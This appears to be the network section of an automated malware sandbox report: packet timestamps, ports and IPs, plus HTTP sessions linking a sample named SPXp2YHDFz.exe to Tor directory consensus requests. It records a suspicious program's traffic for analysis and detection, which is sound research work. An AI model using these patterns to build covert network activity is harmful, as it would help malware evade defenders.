Oct 24, 2022 11:00:50.861942053 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861959934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861965895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.877979040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878040075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878045082 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878079891 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878112078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878155947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878158092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878207922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878212929 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878298998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878353119 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878386974 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878401041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878443956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878448009 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878509045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878566027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878676891 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878731012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878770113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878810883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878849983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.878972054 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.878976107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.879034042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882250071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882288933 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882324934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882359028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882370949 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882390976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882405043 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882422924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882457972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882468939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882488966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882524014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882555962 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882565975 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882587910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882596016 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882622004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882652998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882685900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882694960 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882719040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882751942 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882764101 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882783890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882787943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882814884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882848978 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882859945 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.882910013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882951021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882982969 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.882997990 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883014917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883027077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883055925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883100033 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883145094 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883147001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883196115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883241892 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883243084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883289099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883291006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883339882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883385897 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883394003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883443117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883491993 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883491993 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883544922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883596897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883646011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883647919 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883706093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883749008 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883749962 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883788109 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883791924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883838892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883884907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883887053 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883929968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.883970976 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.883971930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.884016037 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.884054899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.884083986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.884094954 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.884113073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.884121895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.884140968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.884183884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.899635077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.899683952 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.899710894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.899755955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.899841070 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.899873018 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.934597969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.935066938 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955192089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955251932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955295086 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955333948 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955338955 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955377102 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955434084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955476999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955519915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955521107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955562115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955604076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955609083 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955647945 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955691099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955693007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955734015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955775976 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955775976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955817938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955861092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955903053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955904961 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.955944061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955986023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.955988884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956027031 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956027031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956069946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956111908 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956114054 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956156015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956199884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956201077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956240892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956305981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956351042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956358910 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956392050 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956434011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956438065 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956475019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956516981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956532001 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956557989 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956559896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956594944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956636906 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956638098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956679106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956721067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956726074 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956762075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956805944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956806898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956849098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956892967 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956895113 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.956933022 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.956975937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957017899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957024097 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957060099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957106113 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957107067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957149982 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957191944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957195997 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957236052 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957238913 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957277060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957319975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957319975 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957360983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957402945 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957403898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957444906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957488060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957529068 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957530022 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957571983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957616091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957617044 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957657099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957698107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957705021 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957737923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957746983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957781076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957828045 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957829952 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957891941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957940102 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.957940102 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.957981110 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958023071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958065987 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958067894 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958107948 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958148956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958153963 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958190918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958189964 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958235979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958280087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958282948 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958318949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958359957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958364010 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958401918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958444118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958484888 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958489895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958527088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958570004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958575010 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958615065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958658934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958662033 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958704948 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958704948 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958749056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958790064 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.958823919 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.958823919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.960279942 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:51.172813892 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:51.172934055 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:51.174922943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:51.195307016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:54.676048994 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:54.676083088 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:54.676171064 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:57.545808077 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:57.572920084 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:57.573199034 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:57.574938059 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:57.599864960 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:57.993283033 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:57.999258041 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:58.024400949 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:58.039608002 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:58.051902056 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:58.077049971 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:58.111496925 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:58.111540079 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:58.111742020 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:58.112015963 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:58.123275042 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:58.137820005 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:58.180320978 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:58.180375099 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:58.180576086 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:58.287502050 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:58.287683964 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:58.287982941 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:58.452455997 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061283112 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061336994 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061356068 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061374903 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061393976 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061410904 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.061433077 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:59.061495066 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:59.063543081 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.067547083 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:59.111985922 CEST	49721	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:00:59.115401030 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:59.140408039 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:59.277015924 CEST	80	49721	199.249.230.174	192.168.2.3
Oct 24, 2022 11:00:59.375806093 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:00:59.416896105 CEST	49722	80	192.168.2.3	2.56.98.134
Oct 24, 2022 11:00:59.433453083 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:00:59.442435026 CEST	80	49722	2.56.98.134	192.168.2.3
Oct 24, 2022 11:00:59.445508003 CEST	49722	80	192.168.2.3	2.56.98.134
Oct 24, 2022 11:00:59.497168064 CEST	49722	80	192.168.2.3	2.56.98.134
Oct 24, 2022 11:00:59.522967100 CEST	80	49722	2.56.98.134	192.168.2.3
Oct 24, 2022 11:00:59.835720062 CEST	80	49722	2.56.98.134	192.168.2.3
Oct 24, 2022 11:00:59.835777044 CEST	80	49722	2.56.98.134	192.168.2.3
Oct 24, 2022 11:00:59.835802078 CEST	80	49722	2.56.98.134	192.168.2.3
Oct 24, 2022 11:00:59.835978985 CEST	49722	80	192.168.2.3	2.56.98.134
Oct 24, 2022 11:00:59.836039066 CEST	49722	80	192.168.2.3	2.56.98.134
Oct 24, 2022 11:01:00.373083115 CEST	49722	80	192.168.2.3	2.56.98.134
Oct 24, 2022 11:01:00.373781919 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:01:00.398911953 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:01:00.405683994 CEST	80	49722	2.56.98.134	192.168.2.3
Oct 24, 2022 11:01:01.326653957 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:01:01.335335016 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:01:01.360544920 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:01:02.082348108 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:01:02.127851963 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:01:02.368308067 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:01:02.393429995 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:01:02.909991980 CEST	11187	49720	185.220.101.187	192.168.2.3
Oct 24, 2022 11:01:02.917320967 CEST	49723	80	192.168.2.3	37.157.197.143
Oct 24, 2022 11:01:02.946357012 CEST	80	49723	37.157.197.143	192.168.2.3
Oct 24, 2022 11:01:02.946571112 CEST	49723	80	192.168.2.3	37.157.197.143
Oct 24, 2022 11:01:02.946866035 CEST	49723	80	192.168.2.3	37.157.197.143
Oct 24, 2022 11:01:02.975673914 CEST	80	49723	37.157.197.143	192.168.2.3
Oct 24, 2022 11:01:03.121402979 CEST	49720	11187	192.168.2.3	185.220.101.187
Oct 24, 2022 11:01:04.784971952 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:04.785023928 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:04.785180092 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:01:08.480882883 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:08.480942011 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:08.481122017 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:01:15.421989918 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:15.422033072 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:15.422271967 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:01:18.892040014 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:18.892083883 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:01:18.893284082 CEST	49713	80	192.168.2.3	86.59.21.38

HTTP Request Dependency Graph

171.25.193.9

193.23.244.244

185.216.179.206

199.249.230.182

86.59.21.38

131.188.40.189

199.249.230.174

2.56.98.134

37.157.197.143

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49707	171.25.193.9	443	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 10:59:52.802252054 CEST	103	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 171.25.193.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49711	193.23.244.244	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
